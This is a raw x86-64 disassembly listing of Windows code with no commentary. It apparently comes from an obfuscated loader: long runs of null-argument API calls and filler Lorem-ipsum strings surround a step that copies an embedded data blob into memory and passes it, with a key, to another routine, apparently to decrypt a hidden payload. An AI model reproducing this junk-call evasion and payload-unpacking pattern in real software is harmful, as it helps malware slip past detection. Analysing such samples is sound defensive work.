xor ecx, ecx
call rbx
mov rax, qword [0x004ca200]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7d0]
lea r8, str.LilyanRunolfsson
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rax, qword [0x004ca4c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caba0]
lea rcx, str.Nulla_unde_alias_optio
mov dword [rdx], eax
call rbp
xor edx, edx
mov r13, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
call r13
mov ecx, 0x61f02bf
call fcn.00414620
mov rdx, qword [0x004ca370]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov ecx, 0xa58e8225
call fcn.00414620
mov rdx, qword [0x004caac0]
mov rsi, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca1e0]
mov edx, dword [rax]
mov rax, qword [0x004ca560]
mov dword [rax], edx
xor edx, edx
call rsi
mov r13, qword [0x004caf10]
mov ecx, dword [r13]
call fcn.00414620
mov r10, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [r13], eax
mov rax, qword [0x004ca790]
mov qword [rsp + 0x80], r10
mov edx, dword [rax]
mov rax, qword [0x004cac80]
mov dword [rax], edx
mov rax, qword [0x004ca3a0]
mov dword [rax], 0x5c74392c
call r10
mov rax, qword [str.eNl.h_Q]
xor ecx, ecx
mov dword [rax], 0x235511e6
call rbx
mov rax, qword [0x004ca6c0]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004caec0]
mov dword [rcx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004ca610]
mov rdx, qword [0x004cade0]
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cae20]
mov dword [rax], 0x88e71b5c
call r14
mov rax, qword [0x004ca670]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca6f0]
mov dword [rcx], eax
mov rax, qword [0x004ca510]
mov ecx, 0x1c4d4853
mov dword [rax], 0xe2632213
call fcn.00414620
mov rdx, qword [0x004cad40]
mov dword [rdx], eax
mov rax, qword [0x004ca780]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca380]
lea rcx, str.AraMosciski
mov dword [rdx], eax
lea rdx, str.Itaque_vel_facilis_cumque
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
lea rcx, str.RonnyDicki
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
call rdi
xor ecx, ecx
call r12
mov rax, qword [0x004ca9c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca340]
mov r15, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cad90]
mov dword [rax], 0x8a67ca0b
call r15
mov r11, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov qword [rsp + 0x78], r11
call r11
mov r13, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004ca4a0]
xor r8d, r8d
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xdc6ab258
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004ca770]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa30]
mov dword [rdx], eax
mov rax, qword [0x004cae80]
mov dword [rax], 0x1a053827
mov rax, qword [0x004ca2a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9d0]
mov rcx, qword [0x004ca6b0]
mov dword [rdx], eax
mov rax, qword [0x004cade0]
mov rdx, qword [0x004caec0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rdx, qword [0x004cab50]
mov dword [rdx], eax
mov rax, qword [0x004ca820]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, 0xf266a648
call fcn.00414620
mov rdx, qword [0x004ca6e0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca210]
mov edx, dword [rax]
mov rax, qword [0x004ca3c0]
mov dword [rax], edx
call r14
mov rax, qword [0x004ca650]
xor ecx, ecx
mov dword [rax], 0x2c05da0a
call r15
xor ecx, ecx
call rbx
mov r14, qword [0x004cad10]
mov r9, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov rax, qword [0x004cad50]
mov edx, dword [r14]
mov qword [rsp + 0x70], r9
mov dword [rax], edx
call r9
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov r11, qword [rsp + 0x78]
xor ecx, ecx
call r11
mov rax, qword [rsp + 0x58]
xor ecx, ecx
call rax
mov rax, qword [0x004cab60]
mov r11, qword [0x004ca500]
mov rcx, qword [0x004ca4c0]
mov eax, dword [rax]
mov edx, dword [r11]
mov dword [rcx], eax
mov rax, qword [0x004ca400]
mov ecx, 0x91b63917
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004caf50]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor edx, edx
xor ecx, ecx
call rsi
xor ecx, ecx
call r12
mov ecx, 0x9b98c0b5
call fcn.00414620
mov rdx, qword [0x004ca260]
mov ecx, 0x658ccf85
mov dword [rdx], eax
mov rax, qword [0x004ca330]
mov edx, dword [rax]
mov rax, qword [0x004cab70]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004cabf0]
lea rcx, str.KeeganEmmerichMD
mov dword [rdx], eax
call rbp
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
call rbx
mov ecx, 0x8cb1ec40
call fcn.00414620
mov rdx, qword [0x004caa40]
mov ecx, 0xa09f0515
mov r12, qword [0x004ca1d0]
mov dword [rdx], eax
mov rax, qword [0x004ca3b0]
mov eax, dword [rax]
mov dword [r12], eax
call fcn.00414620
mov rdx, qword [0x004ca410]
mov r9, qword [rsp + 0x70]
xor ecx, ecx
mov dword [rdx], eax
call r9
lea rcx, str.Nisi_animi_nihil_expedita_veritatis_a_architecto_est_voluptatem
call rbp
xor edx, edx
mov rbp, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.Cupiditate_qui_fugiat_accusantium_corrupti_est_harum_ipsum_quia_est
call rbp
mov ecx, 0x104949af
call fcn.00414620
mov rdx, qword [0x004ca720]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca540]
xor edx, edx
mov dword [rax], 0x7d628698
call r13
xor r9d, r9d
mov rax, qword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov r10, qword [rsp + 0x80]
xor ecx, ecx
call r10
mov r11, qword [0x004ca500]
mov rax, qword [0x004caa90]
lea rcx, str.Alias_porro_aspernatur_nostrum_sunt_incidunt_voluptatibus
mov edx, dword [r11]
mov dword [rax], edx
xor edx, edx
call rbp
mov rax, qword [0x004cac70]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa10]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004ca6b0]
mov ecx, dword [rax]
call fcn.00414620
mov ecx, 0x167b9875
mov dword [r14], eax
mov rax, qword [0x004ca9a0]
mov dword [rax], 0x827a844
call fcn.00414620
mov rdx, qword [0x004caea0]
mov rdi, qword [0x004ca6f0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004caee0]
mov edx, dword [rax]
mov rax, qword [0x004ca9b0]
mov dword [rax], edx
mov rax, qword [0x004ca450]
xor edx, edx
mov eax, dword [rax]
mov dword [rdi], eax
call rsi
mov rax, qword [0x004ca6b0]
mov ecx, 0x1aeef96f
mov edx, dword [rax]
mov rax, qword [0x004cad20]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca270]
xor ecx, ecx
mov dword [rdx], eax
call r15
mov ecx, 0xed2e284b
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004caaa0]
mov rdi, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call rdi
mov rax, qword [0x004ca2a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7d0]
mov dword [rdx], eax
mov rdx, qword [0x004ca6a0]
mov dword [rdx], eax
mov rax, qword [0x004ca2b0]
mov ecx, dword [rax]
call fcn.00414620
mov ecx, 0xd8210a2a
mov dword [r14], eax
call fcn.00414620
mov rdx, qword [0x004caad0]
xor r9d, r9d
xor r8d, r8d
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rdi
mov rax, qword [0x004ca5c0]
mov ecx, dword [rax]
call fcn.00414620
xor edx, edx
xor ecx, ecx
mov dword [r12], eax
call rsi
mov rax, qword [0x004ca1c0]
xor ecx, ecx
mov dword [rax], 0xc05f7478
mov rax, qword [0x004cae10]
mov edx, dword [rax]
mov rax, qword [0x004cac00]
mov dword [rax], edx
mov rax, qword [0x004caaf0]
mov edx, dword [rax]
mov rax, qword [0x004ca990]
mov dword [rax], edx
mov rax, qword [0x004caa80]
mov dword [rax], 0xa0f4e87c
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca360]
mov rsi, qword [0x004ca6c0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [rsp + 0x68]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
call r13
xor ecx, ecx
call rbx
mov ecx, 0x22ad24c9
call fcn.00414620
mov rsi, qword [0x004ca2a0]
mov dword [rsi], eax
movsxd r12, dword [0x00424324]
lea rsi, [0x00424338]
mov rcx, r12
call sub.msvcrt.dll_malloc
mov rcx, r12
mov rdi, rax
mov qword [rsp + 0x60], rax
mov rax, qword [0x004cacb0]
rep movsb byte [rdi], byte [rsi]
cmp dword [rax], 0x67cc
jle 0x420bbb
mov rax, qword [0x004ca440]
mov r13, qword [0x004cad70]
xor r9d, r9d
xor r8d, r8d
mov r12, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov dword [rax], 0x82a825b5
mov edx, dword [r13]
mov rax, qword [0x004ca7a0]
mov dword [rax], edx
mov rax, qword [0x004ca370]
mov edx, dword [rax]
mov rax, qword [0x004caac0]
mov dword [rax], edx
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r12
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov rax, qword [0x004cad90]
xor ecx, ecx
mov dword [rax], 0x35d8005f
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rdi, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Minima_eius_deleniti_et_autem_esse_omnis
call rdi
xor r9d, r9d
xor r8d, r8d
mov rsi, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
xor ecx, ecx
call rsi
mov rbx, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rsi, qword [0x004cabc0]
mov ecx, dword [rsi]
call fcn.00414620
mov rdx, qword [0x004caba0]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rax, qword [0x004cae40]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caa10]
mov dword [rax], edx
mov rax, qword [0x004ca3c0]
xor edx, edx
mov dword [rax], 0x9d5b46f7
call rbx
mov ecx, 0x8013cae1
call fcn.00414620
mov rdx, qword [0x004ca220]
mov rbp, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca730]
mov edx, dword [rax]
mov rax, qword [0x004cae70]
mov dword [rax], edx
xor edx, edx
call rbp
lea r8, str.Quia_maxime_consequatur_non_occaecati_dolorum_ea_porro_esse_est_sunt
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rbx, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call rbx
mov rax, qword [0x004cadb0]
mov ecx, dword [rax]
call fcn.00414620
mov dword [rsi], eax
mov rax, qword [0x004caaa0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae80]
mov r11, qword [0x004caee0]
xor ecx, ecx
mov rsi, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rdx], eax
mov rax, qword [0x004ca460]
mov edx, dword [rax]
mov rax, qword [0x004ca3a0]
mov dword [rax], edx
mov edx, dword [r11]
mov rax, qword [0x004cad40]
mov dword [rax], edx
mov rax, qword [0x004ca3e0]
mov dword [rax], 0x63e51e4b
mov rax, qword [0x004ca5a0]
mov edx, dword [rax]
mov rax, qword [0x004ca750]
mov dword [rax], edx
call rsi
mov rax, qword [0x004cae00]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab30]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca450]
mov edx, dword [rax]
mov rax, qword [0x004ca9e0]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, 0xa4cc3248
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca490]
mov dword [rdx], eax
mov rax, qword [0x004ca4a0]
mov dword [rax], 0x2978094b
mov rax, qword [0x004cae60]
mov edx, dword [rax]
mov rax, qword [0x004cac60]
mov dword [rax], edx
mov rax, qword [0x004caf60]
xor edx, edx
mov dword [rax], 0x2851e7b4
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r12
mov rax, qword [0x004caca0]
mov r15, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov dword [rax], 0xa60c858f
call r15
xor ecx, ecx
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov r12, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r12
xor edx, edx
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_SetCommMask]
call r14
mov rax, qword [0x004ca650]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x11f67b34
call rbp
mov r11, qword [0x004caee0]
xor edx, edx
xor ecx, ecx
mov dword [r11], 0xded67642
call rbp
xor ecx, ecx
call rsi
mov rax, qword [0x004ca290]
lea rdx, str.Ab_provident_est
mov rbp, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.Ut_minus_fuga_odio_asperiores_et_modi_dolores
mov dword [rax], 0xb0ee3ea0
call rbp
xor ecx, ecx
call r15
mov r15, qword [0x004caf10]
lea rcx, str.MrLorenzoBoyleSr
mov dword [r15], 0x948d30a5
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov rax, qword [0x004caae0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caa30]
mov dword [rax], edx
call rbx
mov rax, qword [0x004ca4a0]
lea rcx, str.Repudiandae_qui_sed_beatae_unde_et_nobis_nihil_quidem_est_rerum_modi_omnis
mov edx, dword [rax]
mov rax, qword [0x004caf00]
mov dword [rax], edx
xor edx, edx
call rdi
xor ecx, ecx
call rsi
mov ecx, 0x5330071c
call fcn.00414620
mov rdx, qword [0x004ca670]
mov dword [rdx], eax
mov rax, qword [0x004cac50]
mov dword [rax], 0xe5e72c3e
mov rax, qword [0x004caa50]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caef0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cac80]
mov dword [rax], 0xc93f0255
mov rax, qword [0x004ca660]
mov edx, dword [rax]
mov rax, qword [0x004ca720]
mov dword [rax], edx
mov rax, qword [0x004caf40]
mov dword [rax], 0xa3c53670
mov rax, qword [0x004ca580]
mov dword [rax], 0x3c731fec
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor edx, edx
xor ecx, ecx
call r14
lea rcx, str.Omnis_corrupti_reprehenderit
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
call rsi
mov rax, qword [0x004cadb0]
xor ecx, ecx
mov dword [rax], 0x4a63d166
call rbx
mov rax, qword [0x004cab40]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca340]
mov dword [rax], edx
mov rax, qword [0x004ca5c0]
xor edx, edx
mov dword [rax], 0x7c5a69c8
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [0x004ca5d0]
mov ecx, 0x9ef7b61b
mov dword [r15], 0x4ab4d28e
mov edx, dword [rax]
mov rax, qword [0x004ca6f0]
mov dword [rax], edx
mov rax, qword [0x004ca9b0]
mov edx, dword [rax]
mov rax, qword [0x004ca800]
mov dword [rax], edx
mov edx, dword [r13]
mov rax, qword [0x004cac30]
mov dword [rax], edx
mov rax, qword [0x004cae20]
mov dword [rax], 0x1c565806
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca1f0]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call r12
lea rdx, str.MargueriteRunolfsdottir
lea rcx, str.IsabelGreenfelder
call rbp
mov rax, qword [0x004ca690]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac20]
lea rcx, str.Facere_fuga_et_eum_voluptas_quia_error_inventore
mov dword [rdx], eax
xor edx, edx
call rdi
mov ecx, 0xd1522de
call fcn.00414620
mov rdx, qword [0x004ca240]
mov dword [rdx], eax
mov rax, qword [0x004ca480]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7c0]
mov dword [rdx], eax
mov edx, dword [0x00424324]
mov rcx, qword [rsp + 0x60]
lea r8, [0x00424328]
call fcn.0040bb23
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x4046
jne 0x4213d1
mov rbp, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
mov rbx, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Magni_harum_libero_est_porro_fugit
call rbx
mov rax, qword [0x004ca3c0]
xor r8d, r8d
xor ecx, ecx
mov rsi, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov edx, dword [rax]
mov rax, qword [0x004caa60]
mov dword [rax], edx
xor edx, edx
call rsi
xor edx, edx
lea rcx, str.Voluptate_porro_dolores_dolore
call rbx
mov r14, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [0x004ca760]
mov rdi, qword [0x004cae80]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cac40]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca4f0]
mov dword [rdx], eax
mov rax, qword [0x004ca700]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov r10, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov rdx, qword [0x004ca750]
mov qword [rsp + 0x80], r10
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call r10
mov rax, qword [0x004ca580]
xor ecx, ecx
mov dword [rax], 0xe94a08f3
mov rax, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov qword [rsp + 0x50], rax
call rax
mov rdi, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rdi
mov rax, qword [0x004ca450]
lea rcx, str.DrStantonFranecki
mov edx, dword [rax]
mov rax, qword [0x004cad40]
mov dword [rax], edx
mov rax, qword [0x004ca9d0]
xor edx, edx
mov dword [rax], 0xcfdd21ca
mov rax, qword [0x004ca440]
mov dword [rax], 0xe2eee335
mov rax, qword [0x004cade0]
mov dword [rax], 0x70cabf9e
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
mov r15, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Cum_voluptas_repellendus_nemo_rerum_beatae_tempora
call r15
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_GetFileType]
call r12
mov ecx, 0xf9095d8c
call fcn.00414620
mov rcx, qword [0x004ca590]
mov dword [rcx], eax
mov ecx, 0x2f7fad0
call fcn.00414620
mov rdx, qword [0x004ca600]
xor ecx, ecx
mov dword [rdx], eax
call r12
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Pariatur_tempora_doloribus_iusto_dolor_dolores_aut
lea rcx, str.Ratione_odit_repellendus_facilis_mollitia_odit
mov qword [rsp + 0x58], rax
call rax
lea rdx, str.Quibusdam_asperiores_et_cum_laudantium
lea rcx, str.Soluta_vitae_et_repudiandae
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca350]
xor edx, edx
xor ecx, ecx
lea r8, str.Voluptate_corporis_ea_distinctio_ex_et_in_qui_culpa
mov dword [rax], 0xddd38998
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov qword [rsp + 0x78], rax
call rax
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004cabe0]
mov edx, dword [rax]
mov rax, qword [0x004caf00]
mov dword [rax], edx
mov rax, qword [0x004cab20]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca4c0]
mov dword [rcx], eax
lea rcx, str.MaurineKirlinV
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Molestias_sit_non_impedit_officia_quia
call r15
mov rax, qword [0x004cadc0]
xor ecx, ecx
mov rdx, qword [0x004ca6c0]
lea r8, str.Quo_ut_voluptas_vel_saepe_nam_id_animi_a_itaque_at_harum
mov dword [rax], 0x188a1de3
mov rax, qword [0x004ca430]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x78]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov r13, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call r13
mov rax, qword [0x004ca4d0]
mov rcx, qword [0x004ca270]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rbp
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [0x004ca600]
lea rcx, str.Laboriosam_dignissimos_reprehenderit_officiis_illum_inventore_delectus_minima
mov edx, dword [rax]
mov rax, qword [0x004ca470]
mov dword [rax], edx
call r15
mov rax, qword [0x004ca3f0]
mov r11, qword [0x004ca680]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cae50]
mov dword [rax], edx
mov edx, dword [r11]
mov rax, qword [0x004cae30]
mov dword [rax], edx
mov rax, qword [rsp + 0x50]
call rax
mov r15, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004ca6a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf30]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca210]
mov edx, dword [rax]
mov rax, qword [0x004ca6f0]
mov dword [rax], edx
mov rax, qword [0x004ca400]
mov edx, dword [rax]
mov rax, qword [0x004ca490]
mov dword [rax], edx
xor edx, edx
call rsi
xor ecx, ecx
call r13
mov rax, qword [0x004ca540]
mov rcx, qword [0x004cae80]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r15
mov rax, qword [0x004cabc0]
mov rdx, qword [0x004caee0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004caa50]
xor edx, edx
mov dword [rax], 0x4ef6e911
call r14
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004ca9c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab50]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov ecx, 0xa55afe51
call fcn.00414620
mov rdx, qword [0x004cadb0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca710]
mov r14, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov dword [rax], 0xa2780ae0
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004cab40]
xor ecx, ecx
mov dword [rax], 0xa4a4ea24
call r13
mov rax, qword [0x004ca280]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca820]
mov dword [rax], edx
call r14
mov ecx, 0x2879c193
call fcn.00414620
mov rdx, qword [0x004cab10]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
xor edx, edx
xor ecx, ecx
call rbp
xor edx, edx
mov r14, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call r14
mov rax, qword [0x004ca330]
mov rcx, qword [0x004ca450]
mov dword [rax], 0x1449b92d
mov rax, qword [0x004ca800]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r12
xor ecx, ecx
call r13
mov rax, qword [0x004cae40]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca650]
mov dword [rax], edx
xor edx, edx
call r14
mov rax, qword [0x004caac0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca420]
mov r14, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
mov dword [rdx], eax
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
xor edx, edx
lea rcx, str.TianaMayer
call rbx
mov rax, qword [0x004ca4c0]
mov ecx, 0x3a2ab6ac
mov dword [rax], 0x274683c3
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca310]
mov r13, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r13
mov rax, qword [0x004ca6c0]
mov rcx, qword [0x004ca270]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r12
mov rax, qword [0x004cae70]
mov ecx, dword [rax]
call fcn.00414620
mov r11, qword [0x004ca680]
xor ecx, ecx
mov dword [r11], eax
mov rax, qword [0x004ca230]
mov edx, dword [rax]
mov rax, qword [0x004ca510]
mov dword [rax], edx
xor edx, edx
call r15
xor ecx, ecx
call rdi
mov ecx, 0xa373fd98
call fcn.00414620
mov rdx, qword [0x004caf40]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov r12, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call r12
lea rdx, str.SusieSipes
lea rcx, str.DrJoaquinSchimmel
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca990]
mov dword [rax], 0x1273ac16
mov rax, qword [0x004ca330]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca610]
mov r15, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov dword [rdx], eax
xor edx, edx
call r15
mov rax, qword [0x004ca2f0]
mov rdx, qword [0x004cade0]
mov r11, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov rcx, qword [0x004caf30]
mov eax, dword [rax]
mov qword [rsp + 0x68], r11
mov dword [rdx], eax
mov rax, qword [0x004caa50]
xor edx, edx
mov dword [rax], 0x823bb8ef
mov rax, qword [0x004caad0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r11
mov rax, qword [0x004caf50]
xor ecx, ecx
mov dword [rax], 0x745634fb
call r14
xor ecx, ecx
call r12
